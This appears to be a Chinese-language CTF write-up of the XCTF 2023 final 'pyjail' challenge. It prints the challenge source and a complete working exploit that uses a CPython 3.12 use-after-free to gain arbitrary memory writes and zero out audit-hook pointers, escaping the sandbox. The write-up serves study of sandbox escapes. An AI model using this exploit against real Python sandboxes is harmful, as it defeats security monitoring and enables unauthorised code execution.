xctf-final Pyjail
XCTF2023总决赛的一道pyjail题,考点是利用python3的uaf漏洞修改内存,覆盖现有的函数,来进行绕过。
感觉掌握这个trick,在一些可以执行任意python的沙箱逃逸里会有用(吧)
参考了JBN的文章https://jbnrz.com.cn/index.php/2024/07/05/xctf-final-jail/
题目源码:
#!python3.12
# run on python 3.12.3
import sys
import os
import json
test_code = input("Enter the function in json: ")
sys.stdin.close()
if len(test_code) > 2533:
exit(1)
test_code: json = json.loads(test_code)
del json
test_code["co_consts"] = tuple(tuple(a) if isinstance(
a, list) else a for a in test_code["co_consts"])
test_code["co_names"] = tuple(tuple(a) if isinstance(
a, list) else a for a in test_code["co_names"])
test_code["co_varnames"] = tuple(tuple(a) if isinstance(
a, list) else a for a in test_code["co_varnames"])
def check_ele(ele, inner=False):
if ele is None:
pass
elif isinstance(ele, int):
# some random magic numbers w/o any meaning
if ele not in range(-0xd000, 0x50000):
exit(1)
elif isinstance(ele, str):
if any((ord(a) not in (list(range(ord('0'), ord('9') + 1)) + list(range(ord('a'), ord('z') + 1)) + list(range(ord('A'), ord('Z') + 1)) + [95])) for a in ele):
exit(1)
elif len(ele) > 242:
exit(1)
elif isinstance(ele, tuple):
if inner:
exit(1)
for a in ele:
check_ele(a, True)
return
else:
exit(1)
for ele in test_code["co_consts"] + test_code["co_names"]:
check_ele(ele)
del check_ele
def test(): pass
test.__code__ = test.__code__.replace(co_code=bytes.fromhex(test_code["co_code"]),
co_consts=test_code["co_consts"],
co_names=test_code["co_names"],
co_stacksize=test_code["co_stacksize"],
co_nlocals=test_code["co_nlocals"],
co_varnames=test_code["co_varnames"])
del test_code
def auditHookHandler(e):
def handler(x, _):
if not (x == "object.__getattr__" or x == "object.__setattr__" or x == "code.__new__"):
e(1) # lolololololo
while(1): pass
return handler
sys.addaudithook(auditHookHandler(os._exit))
del sys
test()
# free flag?! :)
os.system("cat /flag")
总体逻辑是:接受一个json字符串,通过checkele进行简单过滤,取出其六个co...的值来修改test函数的__code__,从而修改test函数的行为,然后加上一个审计钩子,再执行test(相当于执行一个任意函数),然后再执行cat /flag命令输出flag
__code__即函数的代码对象,可以控制函数的行为
(co_code=bytes.fromhex(test_code["co_code"]), #函数的字节码指令
co_consts=test_code["co_consts"], #用到的常量(数据)
co_names=test_code["co_names"],#所有用到的名称符号
co_stacksize=test_code["co_stacksize"], #栈空间个数
co_nlocals=test_code["co_nlocals"], #本地变量个数
co_varnames=test_code["co_varnames"]) #本地变量名称
把函数转为题目要求的json:
def getjson(f):
a=f.__code__;
dic = {};
for name in ["co_code","co_consts","co_names","co_stacksize","co_nlocals","co_varnames"]:
if name == "co_code":
dic[name] = eval("a."+name+".hex()");
else:
dic[name] = eval("a."+name);
return json.dumps(dic);
有三个限制:
1.执行的函数的六个code属性必须是可以json.dumps的,像这样的函数就不能执行:
def a():
def b():
print(1)
2.对co_consts和co_names的长度和内容做了限制,只允许限定长度的数字字母下划线,并且列表不能超过两层
3(主要).加了审计钩子,限定了函数内只能进行属性的取值和赋值,以及new对象。这就导致函数内以及下一句的os.system("cat /flag")都会被钩子拦截而不能执行。
def auditHookHandler(e):
def handler(x, _):
if not (x == "object.__getattr__" or x == "object.__setattr__" or x == "code.__new__"):
e(1) # lolololololo
while(1): pass
return handler
sys.addaudithook(auditHookHandler(os._exit))
解法用到了python3.x版本的UAF(Use After Free)漏洞,即对以及释放的内存继续使用,会造成任意地址写
class UAF:
def __index__(self):
global memory
uaf.clear()
memory = bytearray()
uaf.extend([0] * 56)
return 1
uaf = bytearray(56)
uaf[23] = UAF()
这样获得的memory字节数组可以用于其他地址的赋值
如将整数30指向的内存修改为40:
class UAF:
def __index__(self):
global memory
uaf.clear()
memory = bytearray()
uaf.extend([0] * 56)
return 1
uaf = bytearray(56)
uaf[23] = UAF()
memory[id(30) + 24] = 40
print(30)
同样这个bug也可以用来修改函数的行为:
class UAF:
def __index__(self):
global memory
uaf.clear()
memory = bytearray()
uaf.extend([0] * 56)
return 1
uaf = bytearray(56)
uaf[23] = UAF()
def f1():
print(1)
def f2():
print(2)
memory[id(f1) + 24:id(f1) + 64] = memory[id(f2) + 24:id(f2) + 64]
f1()
那么,如果我们的函数可以拿到被实现的hook函数的地址,就可以从内存去修改或删除它,从而使钩子失效。
在github上有一个绕过audit的仓库:
python-audit_hook_head_finder
我们由于有钩子限制,肯定是不能引入ctype,因此这里用的是POC2-no-ctypes.py
#!audit_hook_head_finder
# sys for version check
import os, sys
from audit_hook_head_finder import add_audit
# ONLY TESTED ON PYTHON 3.12 and 3.11
# the offsets are from POC-no-ctypes-native.py
# the first two are ptr offsets
# the third is the offset to get the audit hook set by python
# the fourth is the offset to get the audit hook set by C
if sys.version_info[:2] == (3, 12):
if sys.version_info[2] <= 3:
PTR_OFFSET = [24, 48, 0x468f0, -0xc948] # <= 3.12.3
else:
PTR_OFFSET = [24, 48, 0x46920, -0xc948] # for python3.12.4
else:
# there are multiple offsets for 3.11? check the result of POC-no-ctypes.py
PTR_OFFSET = [24, 48, 0x4d558, 0x3e3d0]
add_audit()
sys.addaudithook((lambda x: lambda *args: x("audit hook triggered!", args))(print))
os.system("echo 'test audit hook -- this will trigger hook'")
# get addr from str helper func
getptr = lambda func: int(str(func).split("0x")[-1].split(">")[0], 16)
# following arbitery reading/writing exploit code from https://maplebacon.org/2024/02/dicectf2024-irs/
# improved by Maple Bacon
class UAF:
def __index__(self):
global memory
uaf.clear()
memory = bytearray()
uaf.extend([0] * 56)
return 1
uaf = bytearray(56)
uaf[23] = UAF()
# end of arbitery writing exploit code
# any function works here theoretically
ptr = getptr(os.system.__init__) + PTR_OFFSET[0]
ptr = int.from_bytes(memory[ptr:ptr + 8], 'little') + PTR_OFFSET[1]
audit_hook_by_py = int.from_bytes(memory[ptr:ptr + 8], 'little') + PTR_OFFSET[2]
audit_hook_by_c = int.from_bytes(memory[ptr:ptr + 8], 'little') + PTR_OFFSET[3]
memory[audit_hook_by_py:audit_hook_by_py + 8] = [0] * 8
memory[audit_hook_by_c:audit_hook_by_c + 8] = [0] * 8
os.system("echo 'test audit hook -- this will not'")
大概就是以函数os.system.__init__为基,偏移特定的量来定位到hook函数,最后将其内存地址赋值为0
题目环境是python 3.12.3,取PTR_OFFSET = [24, 48, 0x468f0, -0xc948]
我们的函数中,UAF类可以用type()来定义,再用UAF.__index__.__code\
_.replace来对__index\_函数赋值
先把函数写出来:这里replace用的就是demo中的__index__方法,先让UAF类的__index__为一个别的自定义函数,再去用__code__改它:
def a(a):
pass
def exp():
global memory,uaf
UAF = type("UAF",(object,),{"__index__":a})
UAF.__index__.__code__ = UAF.__index__.__code__.replace(co_code = bytes.fromhex("9700740000000000000000006a03000000000000000000000000000000000000ab00000000000000010074050000000000000000ab000000000000006103740000000000000000006a090000000000000000000000000000000000006401670164027a050000ab0100000000000001007903"),
co_consts = (None, 0, 56, 1),
co_names = ("uaf", "clear", "bytearray", "memory", "extend"),
co_stacksize = 4,
co_nlocals = 1,
co_varnames = ("self",)
)
uaf = bytearray(56)
uaf[23] = UAF()
getptr = lambda func: int(str(func).split("0x")[-1].split(">")[0], 16)
ptr = getptr(os.system.__init__) + 24
ptr = int.from_bytes(memory[ptr:ptr + 8], 'little') + 48
audit_hook_by_py = int.from_bytes(memory[ptr:ptr + 8], 'little') + 0x468f0
memory[audit_hook_by_py:audit_hook_by_py + 8] = [0] * 8
没打成功,几个小细节需要改:
1.待修改的__index__在定义时用的函数(上面的a函数)必须是题目已有的,而题目在执行test的时候把除了auditHookHandler的函数都del了,因此只能用auditHookHandler(改改名字就行)
2.由于json.dumps限制,函数内是不能再定义函数的,因此手动实现getptr即可
ptr = int(str(os.system.__init__).split("0x")[-1][:-1:],16)+24
3.check_ele函数限制了co_consts的值,因此不能出现原POC中的">"以及列表PTROFFSET,要换一个对os.system.__init\_字符串切片的方式,并直接把PTR_OFFSET的值取出来用就可以了(这个上面已经改好了)
4.要在linux上跑,用题目同版本python(不同不知道行不行)
最终exp:
import json
def getjson(f):
a=f.__code__;
dic = {};
for name in ["co_code","co_consts","co_names","co_stacksize","co_nlocals","co_varnames"]:
if name == "co_code":
dic[name] = eval("a."+name+".hex()");
else:
dic[name] = eval("a."+name);
return json.dumps(dic);
def auditHookHandler(e):
pass
def exp():
global memory,uaf
UAF = type("UAF",(object,),{"__index__":auditHookHandler})
UAF.__index__.__code__ = UAF.__index__.__code__.replace(co_code = bytes.fromhex("9700740000000000000000006a03000000000000000000000000000000000000ab00000000000000010074050000000000000000ab000000000000006103740000000000000000006a090000000000000000000000000000000000006401670164027a050000ab0100000000000001007903"),
co_consts = (None, 0, 56, 1),
co_names = ("uaf", "clear", "bytearray", "memory", "extend"),
co_stacksize = 4,
co_nlocals = 1,
co_varnames = ("self",)
)
uaf = bytearray(56)
uaf[23] = UAF()
ptr = int(str(os.system.__init__).split("0x")[-1][:-1:],16)+24
ptr = int.from_bytes(memory[ptr:ptr + 8], 'little') + 48
audit_hook_by_py = int.from_bytes(memory[ptr:ptr + 8], 'little') + 0x468f0
memory[audit_hook_by_py:audit_hook_by_py + 8] = [0] * 8
# def f():
# pass
print(getjson(exp))
Comments NOTHING